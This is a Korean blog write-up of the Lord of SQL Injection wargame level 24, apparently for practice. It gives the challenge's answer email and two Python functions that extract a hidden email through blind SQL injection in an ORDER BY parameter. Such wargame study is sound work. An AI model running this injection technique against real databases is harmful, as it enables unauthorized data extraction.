본문 바로가기
WarGames/SQL Injection

Lord of SQL Injection : Evil_wizard[24]

by madevth 2021. 12. 30.
반응형

[Level 24. Evil_wizard] Sol → ?email=aasup3r_secure_email@emai1.com

23단계와 마찬가지로, order의 특성을 이용해서 email을 구해야 한다. order=1을 먼저 넣어보았다.

 admin의 score가 rubiya의 score보다 작아서, 이메일을 제외한 어떤 column으로 정렬해도 admin이 먼저 출력된다.

아마 그래서 hell_fire와 똑같다고? 진짜?라는 뉘앙스의 도발(?)을 한 것이 아닐까..

근데 사실 나는 저번 단계에서 score를 안 쓰고 풀었기 때문에 똑같은 코드로 답을 구할 수 있었다.

same with hell_fire? really? 에 당당하게 yes!라고 답한 후 코드를 돌리면 된다.

 

이메일의 길이로 정렬해보니, 이번에도 admin의 email이 더 길게 나왔다.

그래서 이메일 길이를 23단계와 똑같은 코드로 구해주었다.

def find_length():
    pwlength = 1

    while True:
        param = {"order": "length(email) = {}, id".format(pwlength)}
        req = requests.get(url, params = param, cookies = cookie)
        html = BeautifulSoup(req.text, "html.parser")
        table = html.find_all("td")
        if "rubiya" in table[0]:
            return pwlength
        else:
            pwlength+=1

 

원래 score처럼 admin이 위에 정렬되는 코드를 사용해야 했다면 reverse를 이용해서 nimda과 ayibur를 비교하려고 했었다.

하지만 id만 사용하기 때문에.. 이메일 각 글자도 23단계와 똑같은 코드로 구해주었다.

def find_pw():
    length = find_length()
    print("이메일 길이 : ", length)
    password = ""
    for i in range(length):
        value = 46
        while True:
            param = {"order": "ascii(substring(email, {}, 1)) = {}, id".format(i+1, value)}
            print(param)
            req = requests.get(url, params = param, cookies = cookie)
            html = BeautifulSoup(req.text, "html.parser")
            table = html.find_all("td")
            if "rubiya" in table[0]:
                password += chr(value)
                break
            else:
                value+=1
            if value > 128:
                email = "rubiya805@gmail.com"
                password+=email[i]
                break

히히

 

반응형

댓글